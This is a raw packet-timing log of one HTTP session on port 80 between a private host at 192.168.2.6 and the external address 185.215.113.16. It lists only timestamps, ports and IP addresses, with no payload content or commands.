Jan 3, 2025 15:21:26.311547041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.311558008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311572075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311585903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311599970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311608076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311615944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.311621904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311630011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311631918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.311638117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.311707020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380466938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380497932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380508900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380521059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380549908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380563974 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380573034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380584955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380594969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380597115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380616903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380641937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380712986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380827904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380840063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380852938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380865097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380876064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380877972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380886078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380897045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.380907059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380925894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.380938053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381443024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381454945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381481886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381493092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381493092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381520033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381537914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381546021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381557941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381573915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381589890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381591082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381601095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381609917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381618023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381622076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381633997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381643057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381644964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381669998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381686926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381690979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381704092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381716013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381726027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381736040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381743908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381747961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381758928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381772041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381778002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381778002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381795883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381807089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381813049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381831884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381843090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381844997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381854057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381870031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381877899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381889105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381900072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381912947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381922960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381947994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.381961107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.381994963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382059097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382071018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382082939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382093906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382106066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382110119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382118940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382136106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382159948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382416010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382478952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382489920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382500887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382512093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382522106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382527113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382555962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382563114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382575989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382586002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382621050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382630110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382641077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382652044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382678986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382683039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382694960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382702112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382705927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382731915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382739067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382742882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382750034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382761002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382776022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382788897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382801056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382805109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382812023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382822990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382828951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382833004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382843971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.382848024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.382878065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.383958101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.398791075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398821115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398870945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398870945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.398910999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.398912907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398946047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398966074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398981094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.398993015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399007082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399013996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399019957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399034023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399043083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399049997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399060965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399074078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399077892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399089098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399101019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399104118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399117947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399143934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399168968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399643898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399724007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399735928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399760962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399775028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399784088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399797916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399804115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399826050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399847031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399861097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399863958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399893045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399897099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399913073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399925947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399940968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399951935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399954081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399964094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.399967909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399981022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.399991989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.400022984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402245045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402272940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402287960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402314901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402318954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402333021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402357101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402364969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402388096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402401924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402417898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402426004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402446032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402515888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402535915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402549982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402559042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402564049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402576923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402585030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402590036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402604103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402609110 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.402616024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.402651072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471496105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471532106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471556902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471570969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471585989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471601009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471616030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471631050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471709967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471709967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471709967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471786976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471823931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471853018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471867085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471880913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471894979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471900940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471910954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471913099 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471924067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.471935034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.471962929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472373009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472404957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472419977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472434044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472449064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472464085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472480059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472497940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472515106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472537994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472552061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472567081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472579002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472579956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472601891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472608089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472640038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472654104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472667933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472681046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472690105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472704887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472707033 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472735882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472738028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472770929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472785950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472810030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472824097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472829103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472842932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472871065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472876072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472888947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472903013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472918034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472932100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472949982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472959042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.472969055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.472991943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473005056 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473087072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473105907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473124027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473139048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473153114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473176956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473177910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473192930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473217964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473488092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473519087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473535061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473567009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473587990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473620892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473685026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473701000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473716021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473731041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473741055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473742008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473756075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473767042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473771095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473779917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473783970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473798990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473803997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473810911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473825932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473843098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.473850965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.473875046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.474242926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474257946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474272966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474286079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474301100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474314928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474330902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.474351883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.474378109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.474481106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.489877939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.489897013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.489998102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490011930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490026951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490041018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490046024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490077019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490094900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490114927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490128040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490139008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490151882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490163088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490175009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490180016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490186930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490200043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490210056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490211964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490243912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490746021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490796089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490798950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.490812063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490844011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490880013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.490888119 CET	49829	80	192.168.2.6	185.215.113.16
